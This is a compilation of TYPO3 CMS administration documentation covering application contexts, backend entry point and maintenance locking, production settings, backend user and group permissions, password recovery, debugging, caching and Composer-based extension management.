Root ApplicationContext: Ddev
Parent ApplicationContext: Dev2
As written above the root ApplicationContext must always be one of the 3
values: Production, Development or Testing. With the 2nd nesting at the
latest, the root ApplicationContext here is now Local and with the 3rd
nesting Ddev. There is no way to query this root ApplicationContext in the
PHP class
ApplicationContext! You only have the option of using
getParent() to access the next parent ApplicationContext and using
(string)getParent() to return the complete ApplicationContext as a
string. This means that Local/Ddev/Dev2 is returned at level 2
and Ddev/Dev2 at level 3.
Reading the ApplicationContext
TYPO3 itself already queries the ApplicationContext in various places, but
you can also react to the ApplicationContext in various places.
PHP
Here are a few examples of how to access the ApplicationContext with the
Environment class:
In the "baseVariants" section of the site configuration,
the
condition property, which specifies under what circumstances a
variant applies, is exclusively available for the
baseVariant
configuration. For example, in the provided code, the baseVariant hosted at
'https://dev-1.example.com/' is used when the
'applicationContext == "Development/Dev1"' condition is fulfilled.
As mentioned at the beginning, the ApplicationContext affects certain TYPO3
settings. Let's take a closer look at the presets from
EXT:install
Classes/Configuration/Context/*:
LivePreset with priority 50
DebugPreset with priority 50
CustomPreset with priority 10
As you can see, the LivePreset and the DebugPreset have the same priority. So
which one wins? It depends on the ApplicationContext that is set. If the
Production ApplicationContext is set, then the LivePreset gets 20 points more
priority. If the Development ApplicationContext is set, then the DebugPreset
gets 20 more priority points.
In each of the 3 files you can see which TYPO3 configuration is to be
overwritten at runtime and how. To clarify: Setting the ApplicationContext
changes the TYPO3 configuration at runtime. It does not actively change the
settings.php or additional.php!
Attention
You can set the presets manually in the install tool. However, this has no
effect on the ApplicationContext. If you set the preset to Debug, then
the configurations from DebugPreset.php are written to settings.php
(formerly LocalConfiguration.php). In the TYPO3 system information, however,
the ApplicationContext is still set to Production
(unless otherwise set using an environment variable).
Backend entry point
New in version 13.0
Before TYPO3 v13 the backend entry point path for accessing the backend has
always been /typo3. Since TYPO3 v13 the backend entry point can be
adjusted to something else. See Configuration
and Migration.
Changed in version 14.0
The legacy entry point /typo3/index.php is no longer needed and
has been removed.
The TYPO3 backend URL is configurable in order to enable optional protection
against application administrator interface infrastructure enumeration
(WSTG-CONF-05). Both frontend and backend requests are handled by the PHP
script /index.php to enable virtual administrator interface URLs.
Adjusting the backend entry point does not take assets into account, only
routing is adapted. That means Composer mode will use assets provided via
_assets/ as before and TYPO3 Classic mode will serve backend assets from
/typo3/* even if another backend URL is used and configured.
Note
The install tool is still available via /typo3/install.php.
Configuration
The configuration can be done in the backend via
Admin Tools > Settings > Configure Installation-Wide Options:
Now point your browser to https://my-backend-subdomain.example.org/ to log
into the TYPO3 backend.
Note that the
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain'] is
necessary, so that backend users can preview website pages or use the admin
panel.
Migration
A silent update is in place which automatically updates the webserver
configuration file when accessing the install tool, at least for Apache
(.htaccess) and Microsoft IIS (web.config) webservers.
Attention
The silent update does not work, if you are not using the default
configuration, which is shipped with Core and automatically applied during
the TYPO3 installation process, as basis.
If you use a custom web server configuration you may adapt as follows.
Apache configuration
It is most important to rewrite all typo3/* requests to /index.php, but also
RewriteCond %{REQUEST_FILENAME} !-d should be removed in order for a request
to /typo3/ to be directly served via /index.php instead of the removed
entry point /typo3/index.php.
Maintenance mode: Prevent backend logins during upgrade
Set the backend into maintenance mode to prevent editors or even all
administrators and CLI tools to access the TYPO3 backend.
The maintenance mode is useful to prevent changes to the content during
Patch/Bugfix update
and Major upgrade,
database backups or in any other case where you want to prevent backend
users from accessing the backend.
Note
During maintenance mode the TYPO3 frontend works as usual. Depending
on your sites functionality, frontend actions might continue to alter
certain database tables or files in the file system.
Total shutdown for maintenance purposes
A system maintainer can achieve total TYPO3 backend shutdown for maintenance
purposes in module
Admin Tools > Settings > Configure Installation-Wide Options
by setting [BE][adminOnly]
to -1.
It is also possible to add and remove this setting manually to the
additional.php:
// Lock the backend for editors, admins and CLI are allowed
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly'] = -1;
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This setting excludes any user, including administrators like yourself from
accessing the TYPO3 backend or using any console command in vendor/bin/typo3.
Scheduler tasks will also not be triggered.
A similar effect can be achieved by creating a flag file,
LOCK_BACKEND via console
command:
vendor/bin/typo3 backend:lock
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The flag file prevents any backend access, even by an administrator, it does
however not disable the console command tool and can therefore be disabled
via command:
vendor/bin/typo3 backend:unlock
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Tip
If you edit the var/lock/LOCK_BACKEND
file and put a valid URL into this file, users trying to log into the backend
are redirected to that URL instead of being shown an error message. You can
use this feature to show a custom maintenance message.
Lock the TYPO3 backend for editors
To prevent an installation's editors from logging into the TYPO3 backend during
maintenance, go to module
Admin Tools > Settings > Configure Installation-Wide Options
and set [BE][adminOnly]
to 2 if you additionally want to block console commands including scheduler
tasks, set it to 1.
It is also possible to add and remove this setting manually in the
additional.php:
// Lock the backend for editors while admins and CLI are still allowed
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly'] = 2;
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Production Settings
To ensure a secure installation of TYPO3 on a production server, the following settings need to be set:
Admin Tools > Settings > Configuration Presets The "Live" preset has to be chosen to make sure no debug output is displayed.
When using environment specific configurations, the recommended way is to specifically set the values for
error/debugging configuration values instead of presets, like:
HTTPS should be used on production servers and
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] should be set to true.
Enforce HSTS (Strict-Transport-Security header) in the web servers configuration.
The TYPO3_CONTEXT environment variable should be set to a main context of Production (can be verified on the top right in the TYPO3 backend Application Information). It should be used to select the appropriate base variant for the target system in the Site Configuration.
Configure the TYPO3 logging framework to log messages of high severity including and above WARNING or ERROR
and continue to rotate log files stored in var/log.
This chapter (and the following) cover modules that are only available for backend users
with "admin" access privileges.
We saw earlier that TYPO3 CMS enforces a strict separation of
"frontend" and "backend". The same is true for users:
there are "frontend users", who are web site visitors, and
"backend users", who are editors and administrators.
Working with frontend users is discussed in the Editors Guide.
We will now look at backend users and how to set up groups and
permissions.
Will be shown by default unless you have chosen a different submodule from the
dropdown in the module header. You can
Create new backend users
or Administrators
here, enable and disable access for your users, reset password of non-admins, etc.
Overview of buttons in the entry of a non-admin backend user
Edit user settings.
Disable or enable user.
Delete user.
Reset password - only available if the user has an email address in
their settings. Will send an email to the user asking them to enter a new
password.
View user details, including a combined view of their permissions incorporating
all their groups and settings in the user record. Overview of
User TSconfig reference
that apply to this user.
The general info module for the record of the backend user including
references from other database records.
Compare the permissions of two or more backend users by adding them to the
compare list. You can then click the "Compare selected backend users"
button.
If you prefer to use the TYPO3 backend, in the backend module
System > Backend Users use the dropdown in the
module header to switch back to the "Backend Users" submodule. There is a
button to create a new backend user there.
Click the button "Create new backend user"
Enter the username, password and group membership:
Note
If we were creating a new administrator, we would just need
to check the "Admin (!)" box. Admin users don't need to belong
to a group, although this can still be useful to share
special settings among administrators.
Simulate User
Save and close the record. We will check the result of our work
by using the simulate user feature we saw earlier.
Click the switch to user button
If you used the default "Editors" group you should see this:
Use the User menu on the top right to find the "Exit switch user mode" button and switch back to your admin world.
Backend privileges: Administrators and System Maintainers
The following chapters cover modules that will only be available for backend
users with specific access privileges.
In addition to configuring access
rights for backend users or groups as described in Setting up user group permissions, there
are "superuser" rights which can be activated for each user.
If a backend user has been created for editing in the backend, he or she should
usually not get access to admin or system modules.
You should only give a backend user
as much access as is needed. This makes the job easier by automatically deactivating
modules and GUI elements that the user does not have access to. It also makes it
impossible for a user to damage the system by accidentally doing things he or she
should not have been able to do in the first place.
Administrators
Administrators have access to the System modules, including Permissions, Backend User, Log etc.)
The first backend admin created during installation will automatically be a system
maintainer as well. To give other users system privileges, you
can add them in the ADMIN TOOLS > Settings > Manage System Maintainers
configuration.
Alternatively, the website can be set to "Development" mode in the Install
Tool. This will give all admin users system maintainer access.
System Maintainers are the only users who are able to see and access
Admin Tools, including the Extension Manager.
System Maintainers are
persisted within the config/system/settings.php as
$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemMaintainers'] .
Backend user groups
While it is possible to change permissions on a user basis,
it is strongly recommended you use Groups instead. Just like users,
there are "Backend user groups" and "Frontend user groups".
The command does not support the creation of backend user
groups with custom names or permissions (they can be modified later through
the backend module). It is limited to creating two pre-configured backend
user groups with permission presets applied.
Using the "Backend Users" module
If you have not auto-created the user groups, create one in the backend module
System > Backend Users. Use the dropdown in the module header
to switch to the "Backend User Groups" submodule.
Click the button "+ Create a new backend user group" if you want to create a new group. Or edit one of those created by the command.
Start by entering the name for the new group. Optionally, inherit from group
"Editors".
Enter a name for the group
Let us keep things simple for the further permissions.
Go to tab Module Permissions:
For Allowed Modules choose "Web > Page" and "Web > View"
Then move to tab Record Permissions:
Choose Table Permissions choose "Read & Write" for tables Page and Page content
On the same tab in field "Allowed page types" choose "Standard".
Move to the "Mounts and workspaces" tab.
Select the "Startpage" page as DB mount (starting point for the page tree).
Then save the user group by clicking the "Save" button in the module header.
Setting up user group permissions
We will look into managing user permissions by editing the
"Advanced editors" user group.
On the "General" tab you can edit the group's title and write a
short description. As mentioned before, permissions from sub-groups
will be inherited by the current group.
Content of the "General" tab when editing a backend user group
Note
Setting permissions is not just about access rights.
It can also help to declutter the backend, ensuring that
backend users only see and have access to the modules they require.
Inherit settings from groups" section of tab "General" in backend user groups
If you chose groups in the "Inherit settings from groups" section of tab
"General", the current group inherits all the permissions of the parent group and
can add additional permissions. It is not possible to revoke permissions granted
by the parent group.
User TSconfig of the parent group gets overridden by TSconfig of the child group
and then, in turn, by the specific TSconfig of the backend user.
See also Setting user TSconfig.
"Record Permissions" tab - backend user groups
"Allowed page types" section in Record permissions of user group
You should allow at least the "Standard" page type if you want your
editors to be able to create new pages.
"Table permissions" section in Record permissions of user group
This section allows you to grant "read" or "read and write" permissions for
different database tables.
If your user should be able to upload and reference images, for example
use the content element "Text & Images", it is important that they also be able to
read and write the tables "File Reference" and "File" beside also having
permissions to actually write saved files.
"Allowed fields" section in Record permissions of user group
When defining table fields in TYPO3, you can mark them as
excluded in TCA. Such fields are hidden
from backend users (except administrators) unless they are explicitly granted
access. This field manages that access by displaying a list of all tables and
their excluded fields.
Click on a table name and select allowed fields
Tip
You can hide fields from a backend group by setting page TSconfig option
disabled.
"Explicitly allow field values" section in Record permissions of user group
By default you can choose which content element types are allowed for a backend
group in this section. Some extensions might add additional tables and their values
here.
A content element type not checked in this section cannot be added or edited by
a user of this group.
Tip
You can remove options from select fields with page TSconfig option
removeItems (blacklist) or
keepItems (whitelist).
"Limit to languages" section in Record permissions of user group
In a multilingual web site, it is also possible to restrict users
to a specific language or set of languages.
"Module Permissions" tab - backend user groups
The section "Allowed modules" grants access to different backend modules.
If you allow the module "Dashboard" you should also explicitly choose
"Allowed dashboard widgets" in the next section.
MFA is only possible if you allow at least
one provider in section "Allowed multi-factor authentication providers".
"Mounts and Workspaces" tab - backend user groups
The next tab contains very important fields which define
which parts of the page tree and the file system the members of
the group may have rights over.
We will cover only mounts here. Detailed information about
workspaces can be found in chapter
Users and groups for workspaces
"DB Mounts" in tab "Mounts and Workspaces"
Unless at least one DB mount is chosen your user
does not have rights to any page record and will not be able to do anything in
the backend.
Each mount corresponds to a page in the tree. The user will have access only
to those pages and their sub-pages.
Warning
A user is only able to make changes to a page if they have rights to the db mount of that
page and at least "Show page" permissions for that page:
See chapter page permissions
You can grant additional entry pages in the database record of the backend user.
If option "Mount from groups" is not set for "DB Mounts" you can even override
all db mounts.
"File Mounts" in tab "Mounts and Workspaces"
File mounts are similar to DB mounts but instead are used to manage access to
files.
It is also necessary to grant Directory and File operation permissions in
section File operation Permissions.
Just like DB mounts, you can grant additional file mounts in the database record
of the backend user. If option "Mount from groups" is not set for "File Mounts"
you can even override all file mounts.
"File operation permissions" in tab "Mounts and Workspaces"
Specific operations on files and directories must be allowed.
Choose either "Directory" or "Files" and start checking boxes.
Category mounts
It is possible to limit the categories that a user can attach to a database
record by choosing the allowed categories in the field
"Category mount". If no category is selected in the category mount,
all categories are available.
The module to handle page permissions has been renamed from
Access to Permissions.
DB mounts are not the whole story about access to pages.
Users and groups also need to have rights to perform operations on the
pages, like viewing, editing or deleting.
This is managed using the System > Permissions module:
The "Permissions" module with ownerships and permissions
Every page has an owner, who is a user, and also group
membership. Rights can be assigned to the owner, to the group
or to everyone. This will be familiar to Unix users.
To change the permissions, click on the edit button.
It is also possible to change owner, group and permissions
recursively, even for the whole page tree. Use the dropdown to select the depth.
By choosing group "Editors" as group and then "Set recursively 2 levels"
in the "Depth" dropdown, we will assign all pages in the
page tree to the "Editors" group.
Changing the backend language
By default, TYPO3's backend is set to English with no additional languages
available.
An additional language pack can be installed as an administrator in the backend:
Go to Admin Tools > Maintenance > Manage Languages Packs
Open the backend language administration module
Select Add Language and activate the new language:
Add the desired language
The selected language is now available:
Note
If the config/system/settings.php file is write-protected, all
buttons are disabled and an info box is rendered.
Set the language as backend language for yourself
One of the available backend languages can be selected in your user account.
Go to Toolbar (top right) > User Avatar > User Settings and select
the new language from the field Language:
Save the settings and reload the browser content.
Note
This change only applies to the currently active account.
Change the default backend language of a backend user
As an administrator you can change the backend language of another user.
In the record of the backend user, tab general, choose "User interface language".
When the password for a backend user needs to be reset, log into the backend with an
alternative user and use the System > Backend Users tool to reset
the users password. Note that only backend users with administrative rights can
access the Backend Users tool to make this change.
If an alternative administrator account is not available or it doesn't have the
appropriate access, the Install Tool can be accessed directly
using the following address to create a new administrative user:
https://example.com/typo3/install.php
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The Install Tool requires the "Installation Password" that would have been set
when TYPO3 was installed.
Enter the install tool password
Once logged in to the Admin Tool go to Maintenance > Create Administrative User
and select Create Administrator. In this dialogue you
can create a new administrative user.
Create a new administrative user
Fill in the fields for the new administrative user
Use this new administrator account to log into the TYPO3 backend. In the module
Backend Users you can change the passwords of existing users,
including administrators.
Install Tool Password
Write access to config/system/settings.php (in Classic mode installations
typo3conf/system/settings.php) is required to reset the
Install Tool password.
Before editing this file, visit:
https://example.com/typo3/install.php
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Enter the new password into the dialogue box. As the new password is not correct,
the following response will be returned:
Example Output
"Given password does not match the install tool login password. Calculated hash:
$argon2i$v=xyz"
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Copy this hash including the
$argon2i part and any trailing dots.
Then edit config/system/settings.php and replace the following
array entry with the new hashed password:
If the new install tool password does not work, check if it gets overridden
later in the file config/system/settings.php or in the
file config/system/additional.php
if one exists. If you can still not log into the install tool check if
there are errors in the logs when debugging is enabled.
Debug Settings
During troubleshooting, in the "Settings > Configuration Presets"
section of the Install Tool, under "Debug settings", the "Debug" preset can be
change to show errors in the frontend.
Choose a configuration preset
Choose the debug preset
The following TypoScript setting can also be added to the root TypoScript for
the site to show additional debug information.
This is particularly useful when debugging Fluid errors:
Once debugging has been completed, make sure to remove any debug Typoscript and
set Debug setting back to 'Live'.
Additionally, the following logs should be checked for additional information:
Webserver log files for general problems (e.g. /var/log/apache2 or /var/log/httpd on
Linux based systems)
TYPO3 Administration log in SYSTEM > Log via TYPO3's backend.
TYPO3 logs written by the Logging Framework located in var/log
or typo3temp/var/log depending on the installation setup.
Caching
Cached Files in typo3temp/
TYPO3 generates temporary "cached" files and PHP scripts in <var-path>/cache/
(either typo3temp/var/cache or var/cache depending on the installation).
You can remove the entire <var-path>/cache directory at any time; the directory
structure and all the caches will be re-written on the next time a visitor
accesses the site.
A shortcut to remove these caches can be found in the Install Tool,
under Important Actions. This might be useful in the event your
cache files become damaged and your system is not running correctly. The
Install Tool won't load any of these caches or any extension, so it
should be safe to use regardless of the corrupt state of the Caches.
Amongst other caches, under <var-path>/cache/code/core/
you will find:
These files contain all ext\_tables.php and
ext\_localconf.php files of the installed extensions
concatenated in the order they are loaded. Therefore including one of
these files would be the same as including potentially hundreds of PHP
files and should improve performance.
Possible Problems With the Cached Files
Changing the absolute path to TYPO3
If you change the path of the TYPO3 installation, you might receive similar
errors that include "Failed opening ..." or "Unable to access ...". The
problem is that absolute file paths are hard-coded inside the cached
files.
Fix: Clean the cache using the Install Tool: Go to "Important Actions"
and use the "Clear all caches" function. Then hit the page again.
Changing Image Processing Settings
When you change the settings for Image Processing (in normal mode),
you must take into account that old images may still be in the
typo3temp/ folder and that they prevent new files from being
generated! This is especially important to know, if you are trying to
set up image processing for the very first time.
The problem is solved by clearing the files in the typo3temp/
folder. Also make sure to clear the database table "cache_pages".
System Modules
The following system modules can help when trying to troubleshoot issues with
TYPO3. Administrative rights are required.
Log
The TYPO3 CMS backend logs a number of actions performed by backend users:
login, cache clearing, database entries (creation, update, deletion),
settings changes, file actions and errors. A number of filters are
available to help filter this data.
DB Check
Important
"DB Check and Configuration are only available
if the system extension "lowlevel" is installed and activated.
To install this system extension:
$
composer req typo3/cms-lowlevel
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The Database (DB) Check module provides four functions related
to the database and its content.
Record Statistics
Shows a count of the various records in the database,
broken down by type for pages and content elements.
Search
A tool to search through the whole database. It offers an
advanced mode which is similar to a visual query builder.
Check and update global reference index
TYPO3 CMS keeps a record of relations between all records.
This may get out of sync when certain operations are performed
without the strict context of the backend. It is therefore
useful to update this index regularly.
Configuration
The Configuration module can be used to view the various
configuration arrays used by the CMS.
Reports
The Reports module contains information and diagnostic data
about your TYPO3 CMS installation. It is recommended that you
regularly check the "Status Report" as it will inform you
about configuration errors, security issues, etc.
PHP
Missing PHP Modules
The "System Environment" section of the Install Tool provides detailed
information about any missing PHP modules and any other settings that
may not be configured correctly.
For example, the PHP extensions openssl and fileinfo must be enabled. This can
be achieved by adding (or uncommenting) the following lines in the [PHP]
section of your php.ini file:
php.ini
extension=fileinfo.so
extension=openssl.so
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On a Windows-based server, these are the extension files:
There are some situations which can cause what appear to be
illogical problems after an upgrade:
If extensions override classes in which functions have changed.
Solution: Try disabling all extensions and then enable them one by
one until the error recurs.
If a PHP cache somehow fails to re-cache scripts: in particular, if a
change happened to a parent class overridden by a child class which was not updated.
Solution: Remove ALL cached PHP files (for PHP-Accelerator, remove /tmp/phpa_*)
and restart Apache.
Opcode cache messages
No PHP opcode cache loaded
You do not have an opcode cache system installed or activated. If you
want better performance for your website, then you should use one. The
best choice is OPcache.
This opcode cache is marked as malfunctioning by the TYPO3 CMS Team.
This will be shown if an opcode cache system is found and activated,
which is known to have "too many" errors and won't be supported by TYPO3
CMS (no bugfixes, security fixes or anything else). In current TYPO3
versions only OPcache is supported
This opcode cache may work correctly but has medium performance.
This will be shown if an opcode cache system is found and activated,
which has some nitpicks. For example we cannot clear the cache for one
file (which we changed) but only can reset the complete cache itself.
This will happen with:
OPcache before 7.0.2 (Shouldn't be out in the wild.)
APC before 3.1.1 and some mysterious configuration combinations.
XCache
ZendOptimizerPlus
This opcode cache should work correctly and has good performance.
Well it seems that all is ok and working. Maybe you can tweak something
more but this is out of our knowledge of your user scenario.
Web Server
Apache
Some settings may require adjustment for TYPO3 to operate correctly This will vary depending on the host
operating system and the version of Apache that is installed.
Enable mod_rewrite
If mod_rewrite is not enabled, the URL handling will not work
properly (specifically the mapping of the URLs TYPO3 uses internally
for "speaking URLs") and you might receive 404 (page not found) errors.
Tip
How Apache modules are enabled, depends on your system. Check the
documentation for your operating system distribution.
For example, the modules can be
enabled by editing your http.conf file, locating the required modules
and removing the preceding hash symbol:
After making any changes to the Apache configuration, the service must be restarted.
Adjust ThreadStackSize on Windows
If you are running TYPO3 on Windows, the extension manager might not
render.
This problem is caused by the value of ThreadStackSize, which on
Windows systems by default is set too low. To fix this, add the
following lines at the end of your httpd.conf file:
TYPO3 uses UTF-8 encoding, you will need to ensure that your
instance of MySQL also uses UTF-8. When installing TYPO3 for
the first time, you can select UTF-8 encoding when you create
the database for the first time. For an existing database, you
will have to set each table and column to use UTF-8.
Extension management
Managing extensions: installation, update and removal of extensions
are common tasks during administration.
Composer distinguishes between requiring and installing an
extension. By default you can require any package registered on
https://packagist.org/ and compatible with your current requirements.
Composer require
When you use the command composer require or its abbreviated, shortened version
composer req the requirement will be added to the file composer.json and Composer
installs the latest version that satisfies the version constraints in
composer.json, and then writes the resolved version to composer.lock.
# Install the news extension
composer require georgringer/news
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If necessary you can also require the extension by adding a version requirement:
# Install the news extension in version 12.3.0 or any minor level above
composer require georgringer/news:"^12.3"# Install the news extension from the main branch
composer require georgringer/news:"dev-main"
Composer will then download the extension into the vendor folder and
execute any additional installation steps.
You can now commit the files composer.json and composer.lock
to Git.
Composer install
If the same project is installed on other systems — such as a co-worker’s
computer or the production server (if you are working with
Git and Composer deployment) —
you do not need to run composer require again. Instead, use
composer install to install the exact versions defined in
composer.lock:
git update
# Install versions that have been changed
composer install
# Rerun the setup for all extensions
vendor/bin/typo3 extension:setup
Just like in the TYPO3 core, extensions are individual Composer packages.
You can list all installed packages, including extensions, using the following command:
composer info
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This will display a list of all installed packages along with their names and version numbers.
Many extensions make TYPO3-specific changes to your system that Composer cannot
detect. For example, an extension might define its own
database tables in the TCA or require static data to be imported.
You can run the following command to set up specific or all extensions:
# Setup the extension with key "news"
vendor/bin/typo3 extension:setup --extension=news
# Setup all extensions
vendor/bin/typo3 extension:setup
You can run the extension setup command
automatically after each require / install / update command by adding it to
the script section of your project's composer.json:
Installing a custom extension or site package via Composer
In most projects there will be one special extension per site, called a site
package, that contains the theme and configuration for that site.
There could also be custom extensions only for a specific domain in that
project.
Both these types of extensions should be placed in the packages folder
and required in Composer as local (@dev) versions. This will create a symlink from
packages to vendor, allowing the extensions to be used
like any other package.
The command composer update cannot easily be reverted. We recommend
using Version control (Git)
and committing both files composer.json and composer.lock before
running an update command.
If you are not using Git, make a backup of these two files before the update.
The following command updates all installed Composer packages (both TYPO3
extensions and other PHP packages/libraries) to the newest version that the
current constraints in your composer.json allow. It will write the
new versions to file composer.lock:
# Warning: Make a backup of composer.json and composer.lock before proceeding!
composer update
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If you want to do a major Upgrade, for example from
georgringer/news
Version 11.x to 12.x, you can require that extension with a different version number:
# Attention make a backup of the composer.json and composer.lock first!!
composer require georgringer/news:"^12"
If an extension does not work after upgrade you can downgrade the extension
by requiring a specific version:
# Attention make a backup of the composer.json and composer.lock first!!
composer require georgringer/news:"12.0.42"
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The extension will remain locked to the specified version and will not be
updated until you change the version constraint using the composer require
command.
Reverting extension updates
As a last resort you can revert any changes you have made by restoring the files
composer.json and composer.lock and running the command
composer install:
# restore composer.json and composer.lock
git stash
# Reinstall previously used versions
composer install
You can remove an extension requirement from your project's
composer.json by using the command composer remove, but bear in mind that the
extension will only be uninstalled if it is no longer required by any
of the installed packages.
# Check the extension is not in use first!# composer remove georgringer/news
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Composer will not check if the extension is currently in use. Composer can only
check if the extension is listed in the require section of the
composer.json file of another extension.
Manually verify whether the extension is still in use before uninstalling it.
Does the extension have Site sets
that are required by a site configuration or another extension's site set?
Are you using any plugins or content elements provided by the extension?
Tip: Extension
fixpunkt/backendtools
lists all plugins and
content elements that are in use.
Have you included any TypoScript provided by the extension? Or tables
defined by its TCA? Does it include Middleware,
Console commands (CLI)
or any other functionality that your project relies on?
Why an extension cannot be uninstalled
If Composer refuses to remove an extension with composer remove you can
run the following command to find out what other packages require the Extension
you want to remove:
# Show which package requires the extension
composer why georgringer/news
In very stubborn cases the following tricks can help:
Ensure you have a backup of the files composer.json and
composer.lock or have committed them to Git.
Then delete the vendor folder (it will be restored by Composer), delete
composer.lock and run composer install. This will reinstall
your requirements from your composer.json. Deleting the Composer cache
first might also help.
Installing an Extension using the Extension Manager
In the backend:
Go to Admin Tools > Extensions
In the Docheader, select Get Extensions
Click Update now
The button is on the top right.
Enter the name of the extension in the search field
Click on Go
Click on the Action icon on the left for the extension:
Import and Install
Now the extension is installed, but not activated. To activate:
Choose Installed Extensions in the Docheader
Click on the icon with a + sign for your extension
in the A/D column.
Uninstall an Extension Without Composer
If you installed TYPO3 via composer you should uninstall Extensions via composer.
Check Dependencies
First find out, which other extensions and functions of your TYPO3 installation
are dependent on the extension you want to uninstall. You can find out about
the dependencies by checking the
TYPO3 Extension Repository (TER). Look for
the extension you want to uninstall and the others you have installed. Read
in each extensions manual the sections 'Dependencies' and 'Reverse dependencies'.
Check whether any referrals have been made to the extension in any setup, config
or other TypoScript files. Check if you included a plugin from the extension
in your web site. Think of the results of removing them and finally do it.
If you are working locally or on a test server you might as well try to
uninstall the extension. The Extension Manager warns you about dependencies that
are written in an extensions ext_emconf.php constraints section.
Note however that you depend on the extensions developers faithfully noting
all dependencies in this config file.
If you get an exception and cannot access the Extension Manager anymore because
of it, you can uninstall / install extensions manually with
PackageStates.php as a last resort, see
Uninstalling an Extension Manually
Tip
Be sure not to uninstall extensions by trial and error on production
systems, especially not under time pressure.
Uninstall / Deactivate Extension via TYPO3 Backend
Select "Deactivate" in Extension Manager
Log into the TYPO3 Backend and open the module
Admin tools > Extensions. From the menu choose
Install extensions. You get an overview about installed extensions.
On the left side you see an icon, which shows the status of each extension,
and what you can do:
Extension Install Icon with plus sign: The extension is
not installed. (Click once to install)
Extension Uninstall Icon with minus sign: The extension is installed
and running. (Click once to uninstall)
Next to the extension you want to uninstall click on Extension UnInstall Icon.
After some seconds the icon changes to the grey Extension Install Icon.
Remove an Extension via the TYPO3 Backend
After successfully uninstalling an extension via the Extension Manager you
can permanently remove the extension by clicking on the waste-basket symbol
"Remove" beside the extensions entry in the Extension Manager.
Uninstalling an Extension Manually
At times an extension causes a problem and the TYPO3 Backend can not
be opened anymore due to it. In such a case the extension can be uninstalled
manually. This is not common practise but a last resort.
This can be done by removing the extensions configuration from the file
PackageStates.php
Removing an extension manually is not common practice and should only be done
as a last resort. You should only remove an extension that you uninstalled
successfully. Make a backup first. Then you can permanently remove an extension
by removing its folder at typo3conf/ext/[extensionname]. The
corresponding database tables can be removed in the
Admin Tools > Maintenance > Analyze Database Structure.
Permissions management
Warning
This chapter (and the following) cover modules that will only be available for backend users
with "admin" access privileges.
Introduction
TYPO3 is known for its flexibility and the ability to be expanded. It's packed
with lots of built-in features and can be easily customized to fit your needs.
That's why it is equipped with an advanced way to manage who gets access
to different parts of the system. This solution works well for both small
and large projects, allowing for detailed setting of permissions for various
user roles, each with different levels of access.
The access options in the TYPO3 backend are split into different areas.
They can be configured at the levels of users and groups. Access can be set up
for specific modules and pages, database mounts, file storage, content elements,
and also individual fields within content elements.
A well-thought out initial setup is particularly important for
permissions management. Skipping this step can introduce complex
issues as your project expands. As time passes, managing access levels can turn
into a challenging and time-consuming task. In extreme situations, you might find
yourself needing to overhaul your permissions setup entirely. Moreover, improper
permission setup could lead to a risky workaround: granting administrative
privileges to users who shouldn't have them, even though it may seem like a quick fix at the time.
This approach compromises security and deviates from best practice.
Note
The intention behind the previous text isn't to make you worried about the complexity
of access management in TYPO3. Actually, it's just the opposite. We want to show you
that you're working with a great tool. It might seem a bit complicated at first,
but as you learn more about it, get comfortable using it, and follow some
well-established practices, you'll find it very effective and easy to use.
We also recognize that each project is unique and may require a distinct setup
for permissions. Therefore, please consider this document as a compilation
of recommended practices and guidelines that could be beneficial in managing
permissions within the TYPO3 backend. However, remember that these recommendations
are adaptable and can be tailored to suit your specific requirements.
What access options can be set within TYPO3?
Access options in TYPO3 are categorized into several distinct groups.
For a more detailed exploration, refer to the Access Control Options
documentation page. However, here's a quick overview to give you an idea
of what to consider when configuring permissions in the backend.
Access lists
Modules - A list of submodules accessible to a user
Dashboard widgets - A selection of dashboard widgets that a user can be permitted to use on the dashboard
Tables for listing - A list of tables that a user is permitted to view in the backend
Tables for editing - A list of tables that a user is permitted to edit in the backend
Page types -A list of page types that a user is allowed to use within the pages tree
Excludefields - A list of default-excluded fields (columns) within tables, requiring explicit access permission
Explicitly allow/deny field values - A list of options within select fields whose access is restricted and must be explicitly granted
Languages - Restricts access to content in selected languages only
Mounts
Database Mounts - Specifies which parts of the pages tree are accessible to the user.
File Mounts - Specify accessible folders within storage for users
Category Mounts - Specify which sections of the system's categories tree are accessible to the user
Page permissions
Grant access to individual pages based on user and group IDs.
User TSConfig
A TypoScript-defined, flexible, and hierarchical configuration for "soft" permissions and backend customization for users or groups
Visualizing this overview of Access Control Options will help in developing
the naming convention for backend groups later on.
Note
Different types of Access Control Options can be leveraged to establish
naming conventions for backend user groups.
Recommendations outlined in this chapter, although not directly focused on
setting permissions in TYPO3, are closely related due to the various security
aspects described. It is advisable to thoroughly review these recommendations
before proceeding to the next chapter, where guidance on establishing top-level
backend groups corresponding to different roles, such as editors, proofreaders,
and others, is explained.
Create user-specific accounts
When creating backend users, avoid usage of generic usernames like editor,
webmaster, proofreader, etc. Instead use their real names,
such as johndoe, john.doe, or even their email address, john.doe@mail.com.
This approach guarantees that the identity of the user logging into the TYPO3
backend is always known, as well as who is responsible for specific changes
in content or configuration.
In the context of GDPR, it is recommended
to use properly named accounts to easily distinguish individuals. Assigning top-level
groups to these accounts makes identifying user roles straightforward.
Bad username setup
Good username setup
Note
Avoid generic names for a backend username, instead use their real names.
How to ensure safety
When configuring TYPO3 permissions, begin by granting users only necessary access,
adding more as needed for security. Avoid giving admin rights unless absolutely
necessary, and use specialized accounts for routine tasks like content management.
For temporary TYPO3 backend access, like for a temp worker or student,
use the feature to set an expiration date on accounts. This prevents security
risks from inactive accounts. Regularly review and remove unnecessary accounts.
Secure each user account with a strong password and follow
secure password guidelines for new
or updated accounts. Promote cybersecurity by informing users about security policies.
Additionally, enable Multi-factor authentication (MFA) for an extra security layer.
Note
Grant users only the access they truly need
Instead of using administrative accounts, create groups for specific roles, such as editor, and assign these roles to users
Regularly maintain backend user accounts, removing any that are no longer needed
Always establish secure passwords for users
Set permissions via groups, not user records
Permissions, like module visibility, language options, and database or file access,
can be configured via backend user records. While direct configuration on user
records may seem convenient, especially for small projects, it can lead
to long-term issues, such as difficulty tracking permission origins when spread
across users and groups. Centralizing permissions in backend groups simplifies their
management and maintenance.
Avoid setting permissions directly through the backend user record
When permissions are assigned to individual users and groups, updating them
requires editing each account. Setting permissions at the group level
simplifies updates, as changes automatically apply to all group members.
Note
Configure permissions only through the backend user groups. Don’t set them on the user record.
File mounts and files management
